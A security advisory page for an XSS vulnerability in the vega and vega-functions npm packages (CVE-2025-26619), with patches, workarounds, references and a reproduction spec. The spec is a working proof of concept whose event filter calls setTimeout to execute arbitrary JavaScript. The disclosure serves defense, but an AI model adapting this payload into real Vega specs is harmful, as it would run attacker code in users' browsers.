Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
Impact
In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patches
Patched in vega 5.31.0 / vega-functions 5.16.0
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- Run
vegawithoutvega.expressionInterpreter. This mode is not the default as it is slower. - Using the interpreter described in CSP safe mode (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.
References
- Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 & https://github.com/vega/vega/issues/3984
Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | vega | < 5.31.0 | 5.31.0 |
| Paquete de npm | vega-functions | < 5.16.0 | 5.16.0 |
Referencias
- https://github.com/vega/vega/security/advisories/GHSA-rcw3-wmx7-cphr
- https://nvd.nist.gov/vuln/detail/CVE-2025-26619
- https://github.com/vega/vega-lite/issues/9469
- https://github.com/vega/vega/issues/3984
- https://github.com/vega/vega/commit/8fc129a6f8a11e96449c4ac0f63de0e5bfc7254c
- https://github.com/vega/vega
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N- Debilidad (CWE)
CWE-79- Plataforma
- npm
- Paquete
vega, vega-functions- Publicada
- 27.03.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-rcw3-wmx7-cphr - CC BY 4.0
Historial de vulnerabilidades: vega
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 8
- Primera → última
- 12.2020 11.2025
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 1
- Media 6
- Baja 1
Divulgaciones por año
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 3
- 2024: 0
- 2025: 4
- 2026: 0
-
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.